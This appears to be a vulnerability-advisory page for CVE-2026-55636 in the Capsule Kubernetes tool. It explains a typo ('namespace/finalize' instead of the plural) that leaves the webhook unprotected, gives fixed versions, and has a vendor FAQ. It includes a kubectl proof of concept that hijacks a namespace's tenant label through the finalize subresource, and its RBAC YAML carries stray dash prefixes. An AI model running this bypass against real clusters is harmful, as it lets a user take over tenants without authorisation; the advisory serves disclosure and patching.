CVE-2026-55636

Capsule: Incomplete fix of CVE-2026-30963: singular/plural typo leaves namespaces/finalize unprotected

# Setup: alice with namespaces/finalize RBAC
kubectl apply -f - <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: ns-finalize-updater
rules:
- apiGroups: [""]
-   resources: ["namespaces/finalize"]
-   verbs: ["update"]
- - apiGroups: [""]
-   resources: ["namespaces"]
-   verbs: ["get", "list"]
- EOF
- kubectl create clusterrolebinding alice-finalize --clusterrole=ns-finalize-updater --user=alice
# Control: normal label change DENIED
kubectl label namespace oil-prod capsule.clastix.io/tenant=evil --overwrite --as=alice
# Error: admission webhook denied

# Bypass: finalize changes tenant label (webhook NOT invoked)
kubectl get namespace oil-prod -o json > /tmp/ns.json
# modify tenant label to "hijacked"
kubectl replace --raw "/api/v1/namespaces/oil-prod/finalize" -f /tmp/ns_modified.json --as=alice
# 200 OK - tenant label changed

Namespace tenant-label hijack. Same threat model as CVE-2026-30963. One-char fix: namespace/finalize -> namespaces/finalize.
The CVE-2026-30963 fix in Capsule v0.13.2 added subresource entries to the namespace validating webhook, but charts/capsule/templates/configuration.yaml line 105 contains a singular/plural typo: namespace/finalize instead of namespaces/finalize. Kubernetes webhook rules require the plural resource name. The finalize subresource defense is entirely absent.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-55636 has a CVSS score of 5.7 (Medium). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.13.6); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2026-55636? CVE-2026-55636 is a medium-severity incorrect authorization vulnerability in github.com/projectcapsule/capsule (go), affecting versions >= 0.13.0, < 0.13.6. It is fixed in 0.13.6. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2026-55636? CVE-2026-55636 has a CVSS score of 5.7 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/projectcapsule/capsule are affected by CVE-2026-55636? github.com/projectcapsule/capsule (go) versions >= 0.13.0, < 0.13.6 is affected.
4. Is there a fix for CVE-2026-55636? Yes. CVE-2026-55636 is fixed in 0.13.6. Upgrade to this version or later.
5. Is CVE-2026-55636 exploitable, and should I be worried? Whether CVE-2026-55636 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-55636 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-55636? Upgrade github.com/projectcapsule/capsule to 0.13.6 or later.

Other vulnerabilities in github.com/projectcapsule/capsule